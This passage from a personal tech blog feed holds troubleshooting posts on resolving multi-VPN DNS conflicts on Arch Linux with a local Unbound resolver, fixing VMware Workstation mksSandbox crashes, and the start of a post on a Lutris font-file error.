<code>.vmx</code> dosyas&inodot;na &scedil;u sat&inodot;r&inodot; ekleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">mks.enableVulkanPresentation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"FALSE"</span> </code></pre></div> <h2 id="5-sistem-ve-surucu-duzeyinde-mudahaleler">5. Sistem ve S&uuml;r&uuml;c&uuml; D&uuml;zeyinde M&uuml;dahaleler<a class="headerlink" href="#5-sistem-ve-surucu-duzeyinde-mudahaleler" title="Permanent link">#</a></h2> <p>E&gbreve;er sorun grafik h&inodot;zland&inodot;rma kapal&inodot;yken bile devam ediyorsa, &scedil;u ad&inodot;mlar&inodot; g&ouml;zden ge&ccedil;irebilirsiniz:</p> <ul> <li><strong>Nvidia S&uuml;r&uuml;c&uuml;lerini D&uuml;zenlemek:</strong> &Ouml;zellikle Nvidia grafik kartlar&inodot;nda yeni gelen s&uuml;r&uuml;c&uuml; g&uuml;ncellemeleri mksSandbox'&inodot; tetikleyebilir. S&uuml;r&uuml;c&uuml;y&uuml; temiz bir &scedil;ekilde g&uuml;ncelleyin veya sorunsuz &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;ndan emin oldu&gbreve;unuz bir &ouml;nceki s&uuml;r&uuml;me geri d&ouml;n&uuml;n.</li> <li><strong>Core Isolation (Bellek B&uuml;t&uuml;nl&uuml;&gbreve;&uuml;) Kapatmak:</strong> Windows 11 ana makinesi &uuml;zerinde Core Isolation (Bellek B&uuml;t&uuml;nl&uuml;&gbreve;&uuml;) &ouml;zelli&gbreve;ini kapatmak bu &ccedil;&ouml;kmeleri engelleyebilir (<em>Ayarlar &gt; Gizlilik ve G&uuml;venlik &gt; Cihaz G&uuml;venli&gbreve;i &gt; &Ccedil;ekirdek Yal&inodot;t&inodot;m Detaylar&inodot;</em>).</li> <li><strong>VMware S&uuml;r&uuml;m&uuml;n&uuml; D&uuml;&scedil;&uuml;rmek:</strong> VMware Workstation 17.6.x s&uuml;r&uuml;mlerinde bu hata &ccedil;ok s&inodot;k raporlanmaktad&inodot;r<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Pek manyak bir &ccedil;&ouml;z&uuml;m olsa da Broadcom topluluk forumlar&inodot;nda s&uuml;r&uuml;m&uuml; 17.5.2'ye d&uuml;&scedil;&uuml;rerek sorundan tamamen kurtuldu&gbreve;unu belirtenlerin say&inodot;s&inodot; olduk&ccedil;a fazla.</li> </ul> <h2 id="sadede-gelirsek">Sadede Gelirsek<a class="headerlink" href="#sadede-gelirsek" title="Permanent link">#</a></h2> <p>Sanal makinenin aniden kapanmas&inodot; can s&inodot;k&inodot;c&inodot; olsa da, misafir i&scedil;letim sistemini yeniden kurmak gibi zaman al&inodot;c&inodot; maceralara at&inodot;lman&inodot;za gerek yok. Sorun tamamen ana makine ile VMware grafik katman&inodot; aras&inodot;ndaki ileti&scedil;imden ibaret. &Idot;&scedil;lerinizi kurtarmak i&ccedil;in sanal makineyi arka planda (headless) &ccedil;al&inodot;&scedil;t&inodot;rmak veya 3D h&inodot;zland&inodot;rmay&inodot; kapatmak en zahmetsiz &ccedil;&inodot;k&inodot;&scedil; yoludur.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Geni&scedil; bilgi ve tart&inodot;&scedil;malar i&ccedil;in Broadcom topluluk forumlar&inodot;ndaki <a href="https://community.broadcom.com/vmware-cloud-foundation/question/isbrenderercomm-lost-connection-to-mkssandbox-3796" rel="noopener noreferrer" target="_blank">ilgili ba&scedil;l&inodot;&gbreve;a</a> g&ouml;z atabilirsiniz.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-23T07:50:00+03:002026-05-23T20:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-23:/en/arch-linux-dns-vpn-systemd-resolved-unbound/

<p>We solve DNS conflicts on Arch Linux when multiple VPNs are active by configuring local Unbound for split-DNS and disabling systemd-resolved.</p>

<p>In my spare time, I absolutely love playing around with my own systems, building things on my homelab, and experimenting with new technologies. The other night, while working on a new configuration in my homelab, I opened the terminal to check pod statuses on my AWS EKS (Elastic Kubernetes Service) cluster. I ran the usual <code>kubectl get pod</code> command. I wait... I wait... And bam:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>kk<span class="w"> </span>get<span class="w"> </span>pod <span class="o">[</span>...<span class="o">]</span><span class="w"> </span>Get<span class="w"> </span><span class="s2">"https://F07***D78.gr7.us-east-1.eks.amazonaws.com/api?timeout=32s"</span>:<span class="w"> </span>dial<span class="w"> </span>tcp<span class="w"> </span><span class="m">10</span>.0.64.9:443:<span class="w"> </span>i/o<span class="w"> </span>timeout </code></pre></div> <p>"What did I break now?" I thought, and ran the command again. This time, the pod list printed out without any issues. I ran it a third time&mdash;timeout again! The terminal was literally playing coin toss with me.</p> <p>Since I had my home internet connection, my OpenVPN connection to access AWS resources, and my own WireGuard tunnel to connect to my other home servers all active at the same time, I rolled up my sleeves with typical Arch Linux user paranoia and decided to dive into the maze of DNS and IP routing.</p> <p>In my previous <a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">How to Install OpenVPN on AWS EC2 and Fix DNS Leaks</a> post, we looked at DNS leaks and basic routing over VPNs. This time, the problem is a much more complex DNS race condition and routing knot.</p> <h2 id="aws-vpc-dns-and-vpn-traffic-conflict">AWS VPC DNS and VPN Traffic Conflict<a class="headerlink" href="#aws-vpc-dns-and-vpn-traffic-conflict" title="Permanent link">#</a></h2> <p>In my case, the EKS cluster has both Public and Private endpoints enabled, so <a href="https://en.wikipedia.org/wiki/Split-horizon_DNS" rel="noopener noreferrer" target="_blank">Split-Horizon DNS</a> is in play:</p> <ul> <li>If we make a query from the public internet, AWS returns EKS&rsquo;s <strong>public IP</strong> address.</li> <li>If we query from inside the AWS VPC (or over the VPN), it returns EKS&rsquo;s <strong>private IP</strong> address (e.g., <code>10.0.64.9</code>).</li> </ul> <p>I had multiple DNS servers configured at the same time, and <code>/etc/resolv.conf</code> looked something like this:</p> <div class="highlight"><pre><span></span><code>nameserver 1.1.1.1 # Cloudflare (returns EKS Public IP) nameserver 10.100.0.1 # Home MikroTik (returns EKS Public IP) nameserver 10.0.0.2 # AWS VPC DNS - via OpenVPN (returns EKS Private IP) </code></pre></div> <p>To see who was handling DNS in the system, I checked <code>/etc/nsswitch.conf</code> and found the hosts line:</p> <div class="highlight"><pre><span></span><code><span class="n">hosts</span><span class="o">:</span><span class="w"> </span><span class="n">mymachines</span><span class="w"> </span><span class="n">resolve</span><span class="w"> </span><span class="o">[!</span><span class="n">UNAVAIL</span><span class="o">=</span><span class="k">return</span><span class="o">]</span><span class="w"> </span><span class="n">files</span><span class="w"> </span><span class="n">myhostname</span><span class="w"> </span><span class="n">dns</span> </code></pre></div> <p>The <code>resolve</code> parameter here means the system uses <code>systemd-resolved</code><sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> via D-Bus instead of the classic glibc DNS resolver.</p> <h2 id="the-race-condition-in-systemd-resolved-domain-name-resolution">The "Race Condition" in systemd-resolved Domain Name Resolution<a class="headerlink" href="#the-race-condition-in-systemd-resolved-domain-name-resolution" title="Permanent link">#</a></h2> <p>Let&rsquo;s look at how <code>systemd-resolved</code> resolves DNS queries. To see this clearly, let's enable debug logging for <code>systemd-resolved</code>:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>resolvectl<span class="w"> </span>log-level<span class="w"> </span>debug </code></pre></div> <p>Then, monitoring the logs while running the <code>kubectl</code> command showed this:</p> <div class="highlight"><pre><span></span><code><span class="n">varlink</span><span class="o">-</span><span class="mi">28</span><span class="o">-</span><span class="mi">28</span><span class="p">:</span><span class="w"> </span><span class="n">Received</span><span class="w"> </span><span class="n">message</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="s2">"method"</span><span class="p">:</span><span class="s2">"io.systemd.Resolve.ResolveHostname"</span><span class="p">,</span><span class="s2">"parameters"</span><span class="p">:{</span><span class="s2">"name"</span><span class="p">:</span><span class="s2">"F07***D78.gr7.us-east-1.eks.amazonaws.com"</span><span class="p">,</span><span class="s2">"flags"</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="s2">"ifindex"</span><span class="p">:</span><span class="mi">0</span><span class="p">}}</span> </code></pre></div> <p><code>systemd-resolved</code> sends the DNS query to <strong>all</strong> active network interfaces (home internet, OpenVPN tunnel <code>tun0</code>, and WireGuard tunnel <code>wg0</code>) <strong>simultaneously</strong>!</p> <p>Here is the critical part: <code>systemd-resolved</code> essentially holds a race between DNS servers. Whichever DNS server on whichever interface responds first, its answer is cached and returned to us.</p> <ul> <li>If my home internet (<code>wlan0</code> / <code>1.1.1.1</code>) wins the race, we get EKS&rsquo;s <strong>public IP</strong> address, and the connection goes through fine.</li> <li>If the OpenVPN tunnel (<code>tun0</code> / <code>10.0.0.2</code>) wins, we get EKS&rsquo;s <strong>private IP</strong> address (<code>10.0.64.9</code>).</li> </ul> <p>But why does getting the private IP cause a timeout? Checking the routing table, there is no specific route set up for the <code>10.0.64.9</code> IP block to go through the VPN tunnel (<code>tun0</code>). So, the system tries to reach this private IP via the default gateway (my home router), and the packets get lost in the public internet.</p> <p>Let's set the log level back to info:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>resolvectl<span class="w"> </span>log-level<span class="w"> </span>info </code></pre></div> <h2 id="solution-options">Solution Options<a class="headerlink" href="#solution-options" title="Permanent link">#</a></h2> <p>We have a few choices to resolve this issue:</p> <ol> <li><strong>Add Static Route (Quick Fix):</strong> Manually route EKS private IP subnets through OpenVPN. (This is just a temporary patch for that IP and doesn't solve split-DNS).</li> <li><strong>Split-DNS via systemd-resolved:</strong> Set up complex domain-based routing rules in <code>systemd-resolved</code>. (It's tedious and quite unstable).</li> <li><strong>Local Unbound Setup (Permanent and Stable Fix):</strong> Disabling <code>systemd-resolved</code> completely and setting up a local Unbound DNS server to route queries to the correct DNS servers based on domains.</li> </ol> <p>We will go with the cleanest and most stable path: <strong>Unbound</strong>. We previously solved a similar port conflict using <code>dnsmasq</code> in my <a href="/en/arch-linux-dnsmasq-dnscrypt-proxy/">dnsmasq and dnscrypt-proxy Installation Guide on Arch Linux</a> post. Since we also need to route VPN DNS queries this time, we will configure split-DNS with Unbound.</p> <h2 id="installing-and-configuring-unbound-on-arch-linux">Installing and Configuring Unbound on Arch Linux<a class="headerlink" href="#installing-and-configuring-unbound-on-arch-linux" title="Permanent link">#</a></h2> <p>First, install the package:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>unbound </code></pre></div> <p>We want to define these routing rules: * Queries for <code>compute.internal</code> and <code>ops.example.com</code> (AWS internal domains) should go to the AWS VPC DNS server (<code>10.0.0.2</code>) over OpenVPN. * Queries for <code>setevoy</code> (my local homelab domain) should go to the MikroTik DNS server (<code>10.100.0.1</code>) over WireGuard. * All other general internet queries should go to Cloudflare (<code>1.1.1.1</code>) and Google (<code>8.8.8.8</code>).</p> <p>Configure <code>/etc/unbound/unbound.conf</code> as follows:</p> <div class="highlight"><pre><span></span><code><span class="na">server</span><span class="o">:</span> <span class="w"> </span><span class="na">interface</span><span class="o">:</span><span class="w"> </span><span class="s">127.0.0.1</span> <span class="w"> </span><span class="na">access-control</span><span class="o">:</span><span class="w"> </span><span class="s">127.0.0.0/8 allow</span> <span class="w"> </span><span class="na">do-ip6</span><span class="o">:</span><span class="w"> </span><span class="s">no</span> <span class="w"> </span><span class="na">hide-identity</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="w"> </span><span class="na">hide-version</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="w"> </span><span class="na">prefetch</span><span class="o">:</span><span class="w"> </span><span class="s">yes</span> <span class="c1"># My homelab network (WireGuard / MikroTik)</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"setevoy."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.100.0.1</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">192.168.0.1</span> <span class="c1"># AWS Internal Resources</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"compute.internal."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.0.0.2</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"ops.example.com."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">10.0.0.2</span> <span class="c1"># Public Internet Queries</span> <span class="na">forward-zone</span><span class="o">:</span> <span class="w"> </span><span class="na">name</span><span class="o">:</span><span class="w"> </span><span class="s">"."</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">1.1.1.1</span> <span class="w"> </span><span class="na">forward-addr</span><span class="o">:</span><span class="w"> </span><span class="s">8.8.8.8</span> </code></pre></div> <p>Check the configuration for syntax errors:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>unbound-checkconf </code></pre></div> <p>If you see <code>unbound-checkconf: no errors in /etc/unbound/unbound.conf</code>, we are good to go.</p> <h2 id="disabling-systemd-resolved">Disabling systemd-resolved<a class="headerlink" href="#disabling-systemd-resolved" title="Permanent link">#</a></h2> <p>To let Unbound listen on port 53 without issues, we must turn off <code>systemd-resolved</code> completely.</p> <div class="admonition warning"> <p class="admonition-title">Warning! 🚨 Disabling is not enough!</p> <p>As soon as you stop this service, you won't have a local DNS resolver, and your domain resolution will temporarily drop until you start Unbound.</p> </div> <p>If your <code>/etc/NetworkManager/NetworkManager.conf</code> has a <code>dns=systemd-resolved</code> line, change it to <code>dns=none</code>:</p> <div class="highlight"><pre><span></span><code><span class="k">[main]</span> <span class="na">dns</span><span class="o">=</span><span class="s">none</span> </code></pre></div> <p>Now, stop and mask <code>systemd-resolved</code>:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>disable<span class="w"> </span>--now<span class="w"> </span>systemd-resolved<span class="w"> </span>systemd-resolved-monitor.socket<span class="w"> </span>systemd-resolved-varlink.socket sudo<span class="w"> </span>systemctl<span class="w"> </span>mask<span class="w"> </span>systemd-resolved </code></pre></div> <p>Restart NetworkManager:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span>restart<span class="w"> </span>NetworkManager </code></pre></div> <p>If you want to verify that port 53 is clear, run:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>ss<span class="w"> </span>-tulpn<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">':53'</span> </code></pre></div> <p>If the port is free, enable and start Unbound:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>unbound </code></pre></div> <p>Now, edit <code>/etc/resolv.conf</code> to point to our local resolver. Clear the file and add only this line:</p> <div class="highlight"><pre><span></span><code>nameserver 127.0.0.1 </code></pre></div> <p>If you use WireGuard, update the DNS parameter in your <code>/etc/wireguard/wg0.conf</code> to <code>127.0.0.1</code> as well:</p> <div class="highlight"><pre><span></span><code><span class="k">[Interface]</span> <span class="na">...</span> <span class="na">DNS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">127.0.0.1</span> </code></pre></div> <p>After these changes, restart your WireGuard tunnel:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>wg-quick<span class="w"> </span>down<span class="w"> </span>wg0<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>sudo<span class="w"> </span>wg-quick<span class="w"> </span>up<span class="w"> </span>wg0 </code></pre></div> <h2 id="testing-and-verification">Testing and Verification<a class="headerlink" href="#testing-and-verification" title="Permanent link">#</a></h2> <p>Let's test if our local DNS server is routing queries properly using <code>dig</code>:</p> <ol> <li><strong>General Internet Test:</strong> <code>bash dig google.com +short # Output: 216.58.207.14 (Resolved correctly via Cloudflare/Google)</code></li> <li><strong>AWS EKS Endpoint Test (Should return Public IP):</strong> <code>bash dig F07***D78.gr7.us-east-1.eks.amazonaws.com +short # Output: EKS public IPs (since query went to public DNS)</code></li> <li><strong>AWS RDS Test (Should return Private IP):</strong> <code>bash dig prod.db.kraken.ops.example.com +short # Output: 10.0.66.14 (Resolved correctly via AWS DNS)</code></li> </ol> <p>To wrap things up: in complex developer environments with multiple active VPN tunnels, relying on <code>systemd-resolved</code>'s unpredictable race-condition DNS resolution can be painful. Setting up a local <strong>Unbound</strong> DNS server gives you total control, keeping your network traffic predictable and stable.</p> <p><img alt="Arch Linux DNS VPN systemd-resolved and Unbound Solution" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/arch-linux-dns-vpn-systemd-resolved-unbound-xl.webp" srcset="/images/arch-linux-dns-vpn-systemd-resolved-unbound-sm.webp 300w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-md.webp 500w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-lg.webp 800w, /images/arch-linux-dns-vpn-systemd-resolved-unbound-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>For more details, check out the <a href="https://wiki.archlinux.org/title/Domain_name_resolution" rel="noopener noreferrer" target="_blank">Domain Name Resolution</a> guide on the Arch Wiki.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-23T07:45:00+03:002026-05-23T20:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-23:/en/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu/

<p>We analyze the causes of the mksSandbox or ISBRendererComm connection loss crash in VMware Workstation and provide step-by-step solutions.</p>

<p>The other day, I was sitting at my computer, hacking away at some Docker containers with my usual local tea and snacks. On my main Windows 11 host (Ryzen CPU and an Nvidia RTX card running like a beast), I was writing some database migrations inside an Ubuntu virtual machine that I spun up for a Laravel project. I pasted a long command into the terminal and was just about to hit Enter, when suddenly, the screen froze. Then, the most annoying, blood-pressure-raising dialog box popped up:</p> <blockquote> <p><strong>VMware Workstation unrecoverable error: (mks)</strong> ISBRendererComm: Lost connection to mksSandbox (3796)</p> </blockquote> <p>Believe me, this is where things get really painful, because whatever you were doing is completely gone. The VM just abruptly powers off.</p> <p>My first reflex, driven by typical Arch/Linux user paranoia, was to blame the guest OS. I thought systemd must have lost its mind, or maybe we hit a kernel panic. I spent hours digging through the guest&rsquo;s <code>journalctl</code> logs. But guess what? The logs were clean as a whistle! The guest Ubuntu was completely innocent. The issue was entirely due to a storm in the host machine&rsquo;s graphics renderer (mksSandbox).</p> <h2 id="what-is-mkssandbox-and-why-is-it-crashing">What is mksSandbox and Why is it Crashing?<a class="headerlink" href="#what-is-mkssandbox-and-why-is-it-crashing" title="Permanent link">#</a></h2> <p><code>mksSandbox.exe</code> (on Windows hosts) or its equivalent on Linux hosts is VMware&rsquo;s graphics rendering engine. Its job is to draw the VM&rsquo;s screen inside the console window using the host&rsquo;s GPU. When this process dies, VMware forces the entire VM to shut down to prevent further corruption.</p> <p>Before you start debugging, keep these details in mind:</p> <ul> <li><strong>Your guest system is perfectly fine:</strong> The crash didn't happen inside the VM. Guest logs are clean.</li> <li><strong>The crash is GPU/driver related:</strong> Nvidia/AMD driver conflicts, Vulkan/OpenGL issues, or host Windows security features (like Core Isolation) are triggering the crash.</li> <li><strong>The PID number is irrelevant:</strong> The number in the error dialog (e.g., 3796, 2878) is just the process ID of the dead sandbox instance. It changes every crash, so don't sweat it.</li> </ul> <p>Just like in my previous <a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">How to Install OpenVPN on AWS EC2 and Fix DNS Leaks</a> post, virtualization and host graphics/networking layers can sometimes run into these nasty conflicts. Let's look at how we can tame this graphics rendering beast step-by-step.</p> <h2 id="1-running-the-vm-in-the-background-headless">1. Running the VM in the Background (Headless)<a class="headerlink" href="#1-running-the-vm-in-the-background-headless" title="Permanent link">#</a></h2> <p>If you only access this VM via SSH or terminal commands, and you don&rsquo;t need the graphical interface, you can completely avoid the crash by running it headless. If the console window isn't open, <code>mksSandbox</code> won&rsquo;t even run, so it can't crash.</p> <p>Simply click the <strong>X</strong> button on the VM's tab in VMware Workstation and select <strong>Run in Background</strong> from the dialog box.</p> <p>If you prefer to start it headless from a cold boot, you can use the <code>vmrun</code> utility in PowerShell or terminal:</p> <p>For Windows:</p> <div class="highlight"><pre><span></span><code><span class="s2">"C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"</span> <span class="nb">start </span><span class="s2">"C:\Users\Yucel\Documents\VMs\Ubuntu\Ubuntu.vmx"</span> <span class="n">nogui</span> </code></pre></div> <p>For Linux:</p> <div class="highlight"><pre><span></span><code>vmrun<span class="w"> </span>-T<span class="w"> </span>ws<span class="w"> </span>start<span class="w"> </span><span class="s2">"/home/yucel/VMs/Ubuntu/Ubuntu.vmx"</span><span class="w"> </span>nogui </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Warning! 🚨 The risk starts when you open the GUI</p> <p>If you later double-click the VM in the library list to check the screen, the sandbox renderer wakes back up, making you vulnerable to the crash again until you close the tab.</p> </div> <h2 id="2-disabling-3d-graphics-acceleration">2. Disabling 3D Graphics Acceleration<a class="headerlink" href="#2-disabling-3d-graphics-acceleration" title="Permanent link">#</a></h2> <p>If you actively use the VM console (graphical apps, etc.), the next easiest move is disabling 3D graphics acceleration to fall back to software rendering.</p> <p>Shut down the VM. Go to VM <strong>Settings &gt; Display</strong> and uncheck <strong>Accelerate 3D graphics</strong>. Save the changes and start the VM.</p> <p>VMware will now use a secure software renderer that does not communicate directly with your host GPU drivers.</p> <h2 id="3-forcing-software-rendering-in-the-vmx-file">3. Forcing Software Rendering in the <code>.vmx</code> File<a class="headerlink" href="#3-forcing-software-rendering-in-the-vmx-file" title="Permanent link">#</a></h2> <p>To make sure this setting is pinned and can't be accidentally checked back on in the GUI, you can edit the <code>.vmx</code> configuration file directly.</p> <p>With the VM powered off, open the <code>.vmx</code> file in a text editor and add this line to the very bottom:</p> <div class="highlight"><pre><span></span><code><span class="na">mks.enableGLRenderer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"FALSE"</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ Performance tip</p> <p>If you are already familiar with the trick to <strong>disable side-channel mitigations</strong> to get better VM performance, you can add this parameter to your <code>.vmx</code> configuration permanently.</p> </div> <h2 id="4-disabling-vulkan-graphics-engine-on-linux-hosts">4. Disabling Vulkan Graphics Engine on Linux Hosts<a class="headerlink" href="#4-disabling-vulkan-graphics-engine-on-linux-hosts" title="Permanent link">#</a></h2> <p>If your host machine is running Linux (like Arch Linux) with Nvidia graphics, there might be a conflict between your GPU drivers and Vulkan. You can disable the Vulkan graphics engine globally.</p> <p>Open <code>~/.config/vmware/config</code> on your host machine (create it if it doesn't exist) or add the following line directly to the VM's <code>.vmx</code> file:</p> <div class="highlight"><pre><span></span><code><span class="na">mks.enableVulkanPresentation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"FALSE"</span> </code></pre></div> <h2 id="5-host-side-driver-and-os-tweaks">5. Host-side Driver and OS Tweaks<a class="headerlink" href="#5-host-side-driver-and-os-tweaks" title="Permanent link">#</a></h2> <p>If the crash persists even with graphics acceleration turned off, check these system-level options:</p> <ul> <li><strong>Manage Nvidia Drivers:</strong> Nvidia driver updates can sometimes break mksSandbox. Try updating to the latest stable driver or rolling back to a known working version.</li> <li><strong>Disable Core Isolation (Memory Integrity):</strong> On Windows 11 hosts, turning off Core Isolation (Memory Integrity) can resolve these crashes (<em>Settings &gt; Privacy &amp; Security &gt; Windows Security &gt; Device Security &gt; Core Isolation Details</em>).</li> <li><strong>Downgrade VMware Workstation:</strong> This crash is highly reported in VMware Workstation 17.6.x versions<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. Many users on the Broadcom community forums reported that downgrading to version 17.5.2 fixed the issue completely.</li> </ul> <h2 id="wrapping-up">Wrapping Up<a class="headerlink" href="#wrapping-up" title="Permanent link">#</a></h2> <p>While sudden VM crashes are extremely annoying, you don't need to reinstall your guest OS. The problem is entirely inside the communication channel between your host system and the VMware graphics rendering sandbox. Running the VM headless (in the background) or disabling 3D acceleration is the easiest way to keep your workflow uninterrupted.</p> <p><img alt="VMware Workstation mksSandbox Crash Fix" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-xl.webp" srcset="/images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-sm.webp 300w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-md.webp 500w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-lg.webp 800w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Check out the <a href="https://community.broadcom.com/vmware-cloud-foundation/question/isbrenderercomm-lost-connection-to-mkssandbox-3796" rel="noopener noreferrer" target="_blank">Broadcom community thread</a> for more details and discussions on this error.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-17T16:50:00+03:002026-05-17T16:50:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-17:/en/lutris-installed-file-impact-ttf-not-found-cozumu/

<p>I explain the annoying case-sensitivity cause behind the "installed file .../Fonts/impact.ttf not found" error when installing EA App, Origin, or Plutonium launcher in Lutris, along with the prefix-resetting trick.</p>

<script type="application/ld+json">{"@context": "https://schema.org", "@type": "VideoObject", "name": "Lutris's impact.ttf Obstinacy and Fixing the Annoying Return Code 256", "description": "<p>I explain the annoying case-sensitivity cause behind the \"installed file .../Fonts/impact.ttf not found\" error when installing EA App, Origin, or Plutonium launcher in Lutris, along with the prefix-resetting trick.</p>", "thumbnailUrl": "https://i.ytimg.com/vi/R-VTXW-xV20/hqdefault.jpg", "uploadDate": "2026-05-17T16:50:00+03:00", "embedUrl": "https://www.youtube.com/embed/R-VTXW-xV20"}</script> <p>Playing games on Linux can sometimes literally turn into a detective story, my friends. Yesterday was one of those infamous mornings again: cold coffee, bloodshot eyes from lack of sleep... I decided to install a game based on EA App, Origin, or Plutonium Launcher (especially the Battlefield crowd knows this well) via Lutris and play a couple of rounds. The installation went smooth as butter, and it said "completed". But just as I was about to launch the game, that red slap landed in the terminal: <code>Initial process has exited (return code: 256)</code>.</p> <p>I opened the logs, and what did I see? <code>warning: install completed, but installed file .../Fonts/impact.ttf not found</code>. </p> <p>I mean, seriously, it's just a basic font! Why on earth would you halt the entire installation script and crash the process just because of a single missing font file? What's more, the culprit behind this is Linux's infamous case-sensitivity curse. Let's dive in and fix this stubborn error step-by-step, just as I did on my own system.</p> <hr/> <h2 id="why-does-lutris-hang-on-this-error">🧐 Why Does Lutris Hang on This Error?<a class="headerlink" href="#why-does-lutris-hang-on-this-error" title="Permanent link">#</a></h2> <p>The background of this issue is actually pure comedy. The installation script downloads this font in the background and saves it as <code>Impact.ttf</code> (capitalized). However, the Lutris and Proton prefix, while pretending to be Windows, stubbornly looks for <code>impact.ttf</code> (lowercase). While this presents no issue whatsoever in the Windows world (NTFS) since filesystems are case-insensitive, in our beloved ext4 or btrfs filesystems, <code>Impact</code> and <code>impact</code> represent two completely different worlds!</p> <p>Lutris panics when it can't find the file and halts the process. When you say, "Alright, let me just rename this file or reinstall it," you hit a second wall: Lutris refuses to overwrite (override) the libraries it installed in the previous step, saying <em>"Already installed"</em> and throwing an error. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> A complete dead end, right? But there is a solution&mdash;in fact, two different ways.</p> <hr/> <h2 id="solution-methods">🛠️ Solution Methods<a class="headerlink" href="#solution-methods" title="Permanent link">#</a></h2> <h3 id="method-1-trash-bin-detective-work-manual-search-copy">Method 1: Trash Bin Detective Work (Manual Search &amp; Copy)<a class="headerlink" href="#method-1-trash-bin-detective-work-manual-search-copy" title="Permanent link">#</a></h3> <p>Most of the time, after downloading the font, the installation script deletes the file and dumps it in the trash while cleaning up temporary directories. So our missing <code>impact.ttf</code> isn't actually far away; it's likely sitting quietly in your system's trash bin.</p> <p>First, let's open our terminal and search high and low for that runaway file:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>find<span class="w"> </span>/<span class="w"> </span>-iname<span class="w"> </span><span class="s2">"impact.ttf"</span><span class="w"> </span><span class="m">2</span>&gt;/dev/null </code></pre></div> <p>If you are lucky, the terminal will spit out something like:</p> <div class="highlight"><pre><span></span><code>/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf </code></pre></div> <p>Awesome! We found the fugitive. Now, let's make sure the Fonts folder exists inside our Lutris prefix:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span><span 